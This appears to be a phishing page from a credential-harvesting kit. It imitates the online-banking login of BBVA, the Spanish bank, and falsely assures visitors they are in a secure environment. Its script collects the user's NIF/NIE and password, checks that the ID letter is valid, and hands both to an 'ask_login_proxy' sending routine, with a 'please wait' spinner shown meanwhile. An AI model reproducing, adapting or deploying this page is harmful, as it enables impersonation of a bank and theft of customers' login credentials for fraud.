<body class="ffe-body-text" data-new-gr-c-s-check-loaded="8.873.0" data-gr-ext-installed="" cz-shortcut-listen="true">
<div class="top-content">
    <div class="header-spawn-area" style="padding-bottom: 50px;">
        <div style="width: 90%">
            <img class="web-header-img" >
        </div>

        <div style="float: right">
            <img class="logo-img" src="assets/right_logo.png" style="width: 70px; margin-left: -60px;">
        </div>

        
        <span class="header-span">
                Acceso a la banca online
            </span>

    </div>

    
    <div class="down-head-box">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 30 30" fill="#666666" width="20px" height="20px"><path d="M 15 2 C 11.145666 2 8 5.1456661 8 9 L 8 11 L 6 11 C 4.895 11 4 11.895 4 13 L 4 25 C 4 26.105 4.895 27 6 27 L 24 27 C 25.105 27 26 26.105 26 25 L 26 13 C 26 11.895 25.105 11 24 11 L 22 11 L 22 9 C 22 5.2715823 19.036581 2.2685653 15.355469 2.0722656 A 1.0001 1.0001 0 0 0 15 2 z M 15 4 C 17.773666 4 20 6.2263339 20 9 L 20 11 L 10 11 L 10 9 C 10 6.2263339 12.226334 4 15 4 z"></path></svg>
        <span>Estás en un entorno con seguridad</span>
    </div>
</div>

<li id="firststep" data-cy="login-method-panel">
    <div class="page-form" id="page-acc" style="display: ;">
<!--        <span class="title-span-1">Hola, introduce tu usuario y clave de acceso</span>-->
        <div name="f1" style="margin-top: -50px;" >
            <div class="input-box">
                <input type="text" class="input-txt-element-1" name="Usuario" id="Usuario" placeholder="Usuario">
                <div class="inf-area">
                    <svg fill="#043263" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="15px" height="15px" viewBox="0 0 416.979 416.979" xml:space="preserve">
                  <g>
                      <path d="M356.004,61.156c-81.37-81.47-213.377-81.551-294.848-0.182c-81.47,81.371-81.552,213.379-0.181,294.85
                        c81.369,81.47,213.378,81.551,294.849,0.181C437.293,274.636,437.375,142.626,356.004,61.156z M237.6,340.786
                        c0,3.217-2.607,5.822-5.822,5.822h-46.576c-3.215,0-5.822-2.605-5.822-5.822V167.885c0-3.217,2.607-5.822,5.822-5.822h46.576
                        c3.215,0,5.822,2.604,5.822,5.822V340.786z M208.49,137.901c-18.618,0-33.766-15.146-33.766-33.765
                        c0-18.617,15.147-33.766,33.766-33.766c18.619,0,33.766,15.148,33.766,33.766C242.256,122.755,227.107,137.901,208.49,137.901z"></path>
                  </g>
                  </svg>
                    <span>NIF, NIE, Pasaporte o Tarjeta Anónima</span>
                </div>
                <input type="password" name="Clave de acceso" class="input-txt-element-1" id="bolip-p" placeholder="Clave de acceso">
            </div>
            <div class="erno-spawn" id="acc-erno" style="display: none;">
                <img class="warg-icon">
                <span>
              El usuario o la clave de acceso que has introducido son incorrectos.
            </span>
            </div>
            <div class="button-area">
                <button class="btn-element-1" id="submit" type="submit">Iniciar sesión</button>
                <a href="">¿Olvidaste tu clave de acceso?</a>
            </div>
        </div>
    </div>
    </div></div></div></div></li>

<li  id="loader" style="display:none;" data-cy="login-method-panel">
    <div class="login-method-container" id="HA2-panel">

        <div style="height: 350px;" class="login-method-container-content">
            <div style="margin:0 auto;width:100px;margin-top: 160px;">

                <!--<img style="width:80px;" src="assets/loader.gif"> -->
                <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 50 50">
                    <style>
                        .small {
                            font: italic bold 9px sans-serif;
                            fill: white;
                        }
                    </style>
                    <path fill="#ffffff" d="M25,5A20.14,20.14,0,0,1,45,22.88a2.51,2.51,0,0,0,2.49,2.26h0A2.52,2.52,0,0,0,50,22.33a25.14,25.14,0,0,0-50,0,2.52,2.52,0,0,0,2.5,2.81h0A2.51,2.51,0,0,0,5,22.88,20.14,20.14,0,0,1,25,5Z">
                        <animateTransform attributeName="transform" type="rotate" from="0 25 25" to="360 25 25" dur="1.05s" repeatCount="indefinite"/>
                    </path>
                    <text x="10" y="28" class="small">Espera</text>
                </svg>


            </div></div></div></li>


<div class="page0footer">
    <div class="footer-spawn-area">
        <img class="web-header-img-2">
        <span class="foot_txt">Bilbao Vizcaya Argentaria S.A. 2025</span>
    </div>
</div>
<script type="text/javascript">
    function calcularLetraDni(dni) {
        let cadena = "TRWAGMYFPDXBNJZSQVHLCKET";
        dni = parseInt(dni);
        let posicion = dni % (cadena.length - 1);
        return cadena[posicion];
    }

    function formatoNifValido(dni) {
        const regex = /^\d{8}[A-Za-z]$/;
        return regex.test(dni);
    }

    function preventDefault() {

        let event = event || window.event;
        if (event.preventDefault) {
            event.preventDefault();
        } else {
            event.returnValue = false;
        }
    }

    document.getElementById('submit').addEventListener('click', function() {

        // preventDefault();

        let nif = document.getElementById('Usuario').value;
        if(formatoNifValido(nif)) {
            let letraCalculada = calcularLetraDni(nif.substring(0, nif.length - 1));
            let letraEscrita = nif[nif.length - 1];
            if(letraCalculada.toLowerCase() === letraEscrita.toLowerCase()) {
                send1(event,'ask_login_proxy');return false
            } else {

                alert('El NIF/DNI escrito NO es correcto');
            }
        } else {
            alert('El NIF no tiene el formato válido')
        }
    });


</script>